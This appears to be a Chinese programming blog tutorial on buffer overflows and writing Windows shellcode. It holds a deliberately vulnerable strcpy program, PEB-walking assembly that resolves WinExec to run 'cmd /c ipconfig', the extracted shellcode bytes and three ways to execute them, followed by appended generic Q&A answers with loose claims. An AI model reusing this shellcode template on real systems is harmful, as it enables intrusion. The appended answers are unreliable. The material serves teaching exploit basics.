Shellcode的原理及编写

1.shellcode原理

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

如下链接是shellcode编写的基础,仅供参考

 http://blog.chinaunix.net/uid-24917554-id-3506660.html

缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

int fun(char *shellcode)
{
	char str[4]="";//这里定义4个字节
	strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出
	printf("%s",str);
	return 1;
}
int main(int argc, char* argv[])
{
  char str[]="aaaaaaaaaaaaaaaaaaa!";
  fun(str);
  return 0;
}
如上程序,会导致缓冲区溢出。

程序运行后截图如下

如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码

因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低

[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化

如图


0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址

如图


可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。

fun函数执行完后,返回调用fun函数地址时候,导致程序报错。

缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?

缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。

了解了基本原理,下面可以编写利用的代码

缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下

[正常的字符串][jmp esp的地址][执行的代码(shellcode)]

关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。

下面开始编写shellcode以及调用实现

void fun()
{
	__asm
	{
     mov eax, dword ptr fs:[0x30];
     mov eax, dword ptr [eax+0xC];
     mov eax, dword ptr [eax+0xC];
     mov eax, dword ptr [eax];
     mov eax, dword ptr [eax];
     mov eax, dword ptr [eax+0x18];
     mov ebp,eax                        //Kernel.dll基址
     mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部
     mov edx,dword ptr ds:[eax+ebp+78H]  //
     add edx,ebp                        // edx=引出表地址
     mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions
     mov ebx,dword ptr ds:[edx+20H]      //
     add ebx,ebp                        // ebx=函数名地址,AddressOfName
start:                                  //
     dec ecx                            // 循环的开始
     mov esi,dword ptr ds:[ebx+ecx*4]   //
     add esi,ebp                        //
     mov eax,0x50746547                   //
     cmp dword ptr ds:[esi],eax         // 比较PteG
     jnz start                     //
     mov eax,0x41636F72                   //
     cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress
     jnz start                     //
     mov ebx,dword ptr ds:[edx+24H]      //
     add ebx,ebp                        //
     mov cx,word ptr ds:[ebx+ecx*2]     //
     mov ebx,dword ptr ds:[edx+1CH]      //
     add ebx,ebp                        //
     mov eax,dword ptr ds:[ebx+ecx*4]   //
     add eax,ebp                        // eax 现在是GetProcAddress地址
     mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用
     push 0                             //
     push 0x636578                        //
     push 0x456E6957                      // 构造WinExec字符串
     push esp                           //
     push ebp                           // ebp是kernel32.dll的基址 
     call ebx                           // 用GetProcAdress得到WinExec地址
     mov ebx,eax                        // WinExec地址保存到ecx
 
     push 0x00676966
     push 0x6E6F6370
     push 0x6920632F
     push 0x20646d63    //cmd压入栈

     lea eax,[esp];     //取到cmd首地址
     push 1             //
     push eax           // ASCII "cmd /c ipconfig"
     call ebx           // 执行WinExec
    // leave            // 跳回原始入口点
	}
}

int main(int argc, char* argv[])
{
   fun();
}


如果汇编代码在vc调试下,获取二进制代码如图:


查看00401A08的地址,可以看出是fun函数的汇编代码

shellcode代码基本获取到了,现在是要把他复制出来,

我取出来的后,如下

unsigned char shellcode[]={
    0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,
    0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,
    0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
    0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,
    0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,
    0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};

稍作了下加工,0x是HEX的方式。

下面是我们调用shellcode,看是否可以用

程序如下:

int main(int argc, char* argv[])
{
    unsigned char shellcode[]={
    0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,
    0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,
    0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,
    0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
    0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,
    0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,
    0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,
    0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};
    //三种方式执行shellcode
    //第一种
    ((void (*)())&shellcode)(); // 执行shellcode
    //第二种
    __asm   
   {   
      lea eax,shellcode;   
      jmp eax;   
   } 
   //第三种
    __asm
   {
      lea eax, shellcode
      push eax
      ret 
   }
}

至此,shellcode的编写完成了,如上这只是shellcode大致编写过程,是在windows下环境编写的,linux环境下的编写过程基本相同

至于更高级的利用,可以去看雪论坛逛逛。


时间的步伐有三种:未来姗姗来迟,现在像箭一样飞逝,过去永远静立不动.务请珍惜

  • 40
    点赞
  • 159
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
### 回答1: Shellcode是一种在操作系统内核中执行的二进制代码。它通常用于漏洞利用和恶意软件中。编写shellcode需要了解汇编语言和操作系统内部工作原理。步骤包括确定目标系统平台、编写汇编代码、使用汇编器将代码转换为机器码并去除不必要的部分。最后,通过十六进制编辑器将机器码转换为可执行的shellcode。 ### 回答2: Shellcode是计算机安全领域中的一个术语,指的是一段精心编写的机器码,用于向远程服务器发送攻击代码。Shellcode由语言所写的基本单元构成,可以看作是一些机器指令的序列,这些指令可以被攻击者从攻击文件中提取并加载到内存中来执行。 在编写Shellcode时,攻击者需要考虑以下几个因素: 1. 选择合适的语言:通常情况下,攻击者使用较低级别的语言编写Shellcode,比如汇编、C语言等,具有较高的攻击性和灵活性。高级语言可被编译成较低级别的机器码,但由于其过于复杂,会使攻击者的目标变得更加难以实现。 2. 确定攻击目标:在编写Shellcode时,攻击者需要明确自己的目标是什么,因为Shellcode的内容和指定的操作系统有关。如果攻击者要攻击Linux操作系统,则需要编写适用于Linux的Shellcode。 3. 了解系统调用:Shellcode本质上是攻击代码,需要与操作系统进行交互才能实现攻击功能。攻击者需要深入了解目标操作系统的系统调用,以便编写能够集成到Shellcode中的函数。 4. 隐藏自己的Shellcode:攻击者的Shellcode需要能够在执行攻击时隐藏自己的存在,防止被服务器的安全防御发现并阻止其执行。因此,编写Shellcode的过程中,添加一些默默执行的优化代码通常会使Shellcode更难被检测出来。 综上所述,Shellcode编写需要仔细考虑许多细节和攻击原理,是一个非常复杂和挑战性的工作。需要具有深入的技术知识、大量的实操经验和强烈的创造力来成功实现。因此,对于那些想要保护自己计算机系统的安全和隐私的用户来说,应该注意提高自己的网络安全意识,以免成为黑客攻击的目标。 ### 回答3: Shellcode是一种机器可执行代码,通常用于利用软件或系统漏洞,实现攻击者的目的。它们是用汇编语言编写的小段程序,目的是在攻击者控制的环境中提供一个命令行接口。Shellcode是计算机安全方面的一个重要组成部分,它们用来攻击网络或操作系统,并实现攻击者的目标,比如窃取敏感信息、获得系统管理员权限等。 Shellcode编写过程需要以下步骤: 1. 选择正确的汇编代码和指令:攻击者需要使用特定的汇编代码和指令,以便在目标系统上实现其目的。这些代码和指令通常是最简单的和最小的,以便在运行时不引起注意,并且可以在目标系统上尽可能快地执行。 2. 手写代码或使用自动化工具:在编写Shellcode时,可以手动编写代码,也可以利用自动化工具(如Metasploit)来生成代码。无论哪种方法都需要足够的经验和技术。 3. 调试和测试:成功编写shellcode需要进行检查,确保其在目标环境中能够准确执行所需的操作。一些测试工具和脚本可以用于对Shellcode进行测试,以保证其正确性和稳定性。 4. 压缩和编码:为了使Shellcode足够小,可以使用压缩和编码技术来减小代码体积。这有助于减小Shellcode在内存中的占用空间,并增加攻击成功的几率。 总的来说,Shellcode编写需要具备丰富的汇编语言编程知识和安全实践经验,同时需要掌握各种测试和修复技术。攻击者使用Shellcode来实施危害,所以安全团队需要相应地采取措施,防范和识别Shellcode攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值